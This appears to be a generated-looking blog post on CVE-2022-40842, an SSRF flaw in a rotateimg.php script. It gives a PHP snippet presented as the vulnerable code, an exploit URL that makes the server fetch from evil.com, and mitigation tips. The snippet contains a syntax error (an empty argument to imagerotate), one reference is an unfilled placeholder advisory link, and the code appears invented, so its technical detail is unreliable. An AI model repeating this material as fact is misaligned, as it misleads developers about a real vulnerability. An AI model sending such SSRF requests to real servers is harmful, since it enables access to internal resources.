CVE-2022-40842: NdkAdvancedCustomizationFields 3.5. Server-side Request Forgery (SSRF) Vulnerability

A recent vulnerability, identified with the CVE-ID CVE-2022-40842, has been discovered in NdkAdvancedCustomizationFields 3.5.. The vulnerability is attributed to a Server-side Request Forgery (SSRF) issue in rotateimg.php, which can potentially allow an attacker to perform unwanted actions to access internal resources and exfiltrate sensitive data.

For those unfamiliar, NdkAdvancedCustomizationFields is a popular design toolkit, enabling web developers to create advanced, customizable forms and fields in their applications. The toolkit version 3.5. is impacted by the reported SSRF vulnerability.

This blog post will provide an in-depth analysis of CVE-2022-40842, detailing the affected code snippet, links to relevant references, and the exploit methodology.

Affected Code in rotateimg.php

The vulnerability lies within the rotateimg.php file, which receives a URL as a user input and then loads the content of the specified URL directly. The vulnerable code snippet is shown below:

<?php
    $url = $_GET['url'];
    $degrees = $_GET['degrees'];

    // Load the image from the specified URL
    $source = imagecreatefromjpeg($url);

    // Rotate the image according to the value of $degrees
    $rotate = imagerotate($source, $degrees, );

    // Output the rotated image
    header('Content-Type: image/jpeg');
    imagejpeg($rotate);
?>

This code lacks sufficient checks and validation of the user-supplied URL and can lead to Server-side Request Forgery (SSRF).

The issue has been documented in the following sources

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40842
2. NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-40842
3. GitHub Security Advisory: https://github.com/ndk-design/NdkAdvancedCustomizationFields/security/advisories/GHSA-xxxx-xxxx-xxxx (Replace "xxxx" with the actual advisory ID once published)

Exploit Details

An attacker can exploit this vulnerability by crafting a URL containing a malicious payload and sending it to the target application. Since the application doesn't adequately validate and sanitize the user-supplied URL, the attacker can redirect internal HTTP/HTTPS requests to unwanted destinations or access to sensitive resources.

For example, an attacker can use the following URL to exploit the vulnerability

http://vulnerable-site.com/rotateimg.php?url=http://evil.com/malicious-image.jpg&degrees=90

In this case, the application will load the contents of the malicious URL, potentially making the server download unwanted files or exposing it to other malicious actions.

To mitigate this vulnerability, it is recommended to

1. Apply input validation and sanitization mechanisms to the user-supplied URL to ensure that only allowed URLs are processed.
2. Check for an existing patch or update for the NdkAdvancedCustomizationFields package, which might contain a fix for the reported vulnerability.
3. Implement a web application firewall (WAF) to filter potentially harmful requests and reviewed any created custom rules to ensure they don't introduce more security risks.

Conclusion

CVE-2022-40842 is a serious vulnerability in NdkAdvancedCustomizationFields 3.5., which can lead to SSRF issues and potentially compromise sensitive data or internal resources. It's essential for web developers and administrators to be aware of this vulnerability, apply the recommended mitigations, and keep their packages up-to-date to minimize security risks.

Timeline

Published on: 11/22/2022 01:15:00 UTC
Last modified on: 11/23/2022 16:04:00 UTC